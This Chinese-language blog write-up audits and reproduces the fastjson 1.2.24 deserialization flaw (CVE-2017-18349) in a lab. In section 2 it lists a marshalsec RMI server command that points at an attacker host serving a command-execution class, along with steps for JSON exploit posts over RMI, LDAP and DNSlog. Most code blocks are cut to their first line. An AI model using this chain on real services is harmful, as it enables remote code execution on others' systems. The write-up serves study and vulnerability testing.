fastjson-1.2.24-反序列化漏洞代码审计(CVE-2017-18349)
fastjson-1.2.24-反序列化漏洞代码审计(CVE-2017-18349)
Takake1.关于fastjson反序列化的特性(版本号:1.2.24)()
1.1.fastjson结构框架图
1.2.fastjson的一些功能特性的研究
1.2.1.fastjson总共三种反序列化的方式
1 | JSON.parse(s1); |
三种方式都拥有不同的特性,下面通过一个实例来具体探究以下底层代码到底是如何实现的。
1.首先新建一个user类
1 | public class user { |
- 导入fastjson1.2.24依赖
1 | <dependency> |
3.创建测试主类
1 | import com.alibaba.fastjson.JSON; |
4.调试运行
从运行结果在通过s1不指定@type参数时,我们可以得知,三种反序列化方式,最后得到的类均为JSONObject默认类型。
且我们通过调试源代码发现,parseObject方法其实就是对parse方法做的一个封装,让其可通过传入clazz参数来指定反序列化结果的类型,第一步步入如下图。
因此我们只需要研究其中一个方法的调用链即可,其后的调用链均是一致的。
以上为不指定@type类型的运行结果,这次我们使用s2参数,通过指定@type参数来控制反序列化结果的类型。
1 | JSON.parse(s2); |
此时的运行结果如图
从运行结果可知,
1 | JSON.parse(s2); //执行了setter |
通过调试源代码发现,在parse中,执行了setter方法,在parseObject方法中封装了parse方法,因此在此部分执行了setter方法,而在(JSONObject)toJSON(obj)部分,也就是如果obj并不是JSONObject的实例,这通过toJSON将obj强制转化为JSONObject,在次部分执行了get方法,
而在parseObject(s2,Object.class)带有clazz参数的方法中,的调用链和前两个方法不一致,因此只调用了setter方法。
1.2.2.fastjson如何找到getter/setter方法,有哪些限制?
具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build()
getter方法:
非静态方法
返回值为空
不能有参数传入
返回类型不能会ClassLoader
不能调用getMetaClass、getClass、getDeclaringClass方法
get开头并且不能小于4个字符,且第四个字母大写
继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong
此属性没有setter方法。
Setter方法:
以set开头名字不能小于4个字符,且第四个字母大写
非静态方法
返回值为void或者当前class类型为0
参数个数为1
1.2.3.fastjson反序列化漏洞利用原理
从以上分析中,可以得出,fastjson反序列漏洞的最根本的原理:
- 通过post传参将json格式的poc传入后端,后端获取到json格式的数据,通过parse、parseObject方法,对json内容进行反序列化操作。
- 而由于fastjson未对传入的@type的类名,进行严格校验,导致将恶意类加载,并实例化该恶意类。
- 这会导致远程的代码,执行修改系统文件等。
2.利用链一:com.sun.rowset.JdbcRowSetImpl复现(jndi注入)(版本号:1.2.24)
2.1.RMI注入复现
2.1.1.本地靶机(192.168.100.1:8088)启动一个解析json数据的服务接口。
1 |
|
2.1.2.远程攻击机(192.168.100.128)启动一个rmi服务器并指向执行一个可访问执行命令的类对象接口
1 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.100.128:8088/#Calc" 8888 |
2.1.3.命令执行类对象
1 | public class Calc{ |
将该代码编译为class文件通过http服务公开
2.1.4.通过python服务将该命令执行类公开在http://192.168.100.128:8088。
2.1.5.构造exp并发送post请求json服务接口
1 | { |
2.1.6.发送exp,复现成功
后台记录
rmi服务器记录
公开类http服务器记录
2.2.LDAP注入复现
2.2.1.启动ldap服务器
2.2.2.构造exp并发送
1 | { |
其余步骤都相同。将rmi服务器转为ldap服务器,命令同样执行成功。
注:当前复现版本为jdk1.8_112
JDK6 | JDK7 | JDK8 | JDK11 | |
---|---|---|---|---|
RMI不可用 | 6u132 | 7u122 | 8u113 | 无 |
LDAP不可用 | 6u221 | 7u201 | 8u119 | 11.0.1 |
高于等于当前版本均不可进行jndI注入
2.3.源码分析污点跟踪
进入 JdbcRowSetImpl 类跟踪其源码
通过之前对fastjson的分析,在exp中通过指定autoCommit属性的值来让其加载setAutoCommit方法、因此直接从setAutoCommit方法开始跟踪、conn参数默认为空、执行this.connect()。
进入connect()方法。conn值为空,而this.getDataSourceName()的值不为空、因为我们设置了DataSourceName的属性值。
lookup方法()参数值设置为我们exp中DataSourceName的属性值,lookup函数去连接我们远程的rmi/ldap服务以此达成远程命令执行的目的、再往后就没必要跟了。
值得一提的是在构造payload中autoCommit的值,无论是true还是false其实并不影响命令执行的结果、因为设置autoCommit的值本质是为了让fastjson去调用setAutoCommit方法,而加载lookup函数实现jndi注入。因此无论是autoCommit值为啥,哪怕为亚马逊购物袋也并不影响。
2.5.fastjson,jndi反序列漏洞测试的简便方法
由于我们测试服务器时需要启动rmi/ldap服务、还需要启动一个http服务来公开类、测试jndi过于麻烦,因此我们可以通过dns协议来检测其连接。
这样我们既避免了暴露自己的服务器地址、又可以测试是否存在该漏洞。
我们可以创建一个dnslog链接,来判断其是否会连接外部服务器。
创建一个dnslog地址。
构建poc payload
1 | { |
发送payload后,发现dnslog发现连接地址,因此存在jndi注入。
这种方法可以在不启动自己服务器的情况下简单验证是否存在fastjson的反序列化jndi注入漏洞。